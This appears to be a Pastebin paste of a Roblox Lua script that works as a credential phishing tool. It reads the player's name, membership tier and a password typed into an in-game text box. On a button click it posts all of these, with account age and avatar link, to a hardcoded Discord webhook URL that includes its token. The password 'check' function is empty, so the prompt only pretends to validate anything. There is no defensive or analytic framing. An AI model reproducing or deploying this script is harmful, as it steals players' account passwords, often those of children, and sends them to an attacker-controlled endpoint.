Advertisement
Guest User

Untitled

a guest
Apr 4th, 2017
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.48 KB | None | 0 0
  1. --Username--
  2.  
  3. for index, child in pairs(game.Players:GetChildren()) do
  4. print(child.Name)
  5. playername = child.Name
  6. end
  7.  
  8. --Membership--
  9.  
  10. player = game.Players[playername]
  11. local membership = player.MembershipType
  12. local playermembership = " "
  13. if membership == Enum.MembershipType.None then
  14. playermembership = "NBC"
  15. elseif membership == Enum.MembershipType.BuildersClub then
  16. playermembership = "BC"
  17. elseif membership == Enum.MembershipType.TurboBuildersClub then
  18. playermembership = "TBC"
  19. elseif membership == Enum.MembershipType.OutrageousBuildersClub then
  20. playermembership = "OBC"
  21. end
  22.  
  23. --Check--
  24.  
  25.  
  26. function check()
  27. local password = script.Parent.Password.Text
  28.  
  29. if password:len() < 8 or password:len() > 40 then
  30.  
  31. end
  32. end
  33.  
  34. --Extra Stuff--
  35.  
  36. local avatar = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&username="..playername
  37. local url = "https://discordapp.com/api/webhooks/298558934900539393/3b2DTqFEh06V1PgZCi7jx0Xf7mDIfrudDRaLwvF5sarTFl8yGs_2cpPIHqIz5tGNOWEf"
  38. local http = game:GetService("HttpService")
  39.  
  40. --Send to Discord--
  41.  
  42. script.Parent.MouseButton1Click:connect(function()
  43. wait(1)
  44. local message = {
  45. ['content'] = "Username: "..playername..[[
  46. Password: ]]..script.Parent.Password.Text..[[
  47. Membership: ]]..playermembership..[[
  48. Age: ]]..game.Players[playername].AccountAge..[[
  49.  
  50. Avatar: ]]..avatar..""
  51. }
  52. message = http:JSONEncode(message)
  53. http:PostAsync(url, message)
  54. end)
  55. not that long
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement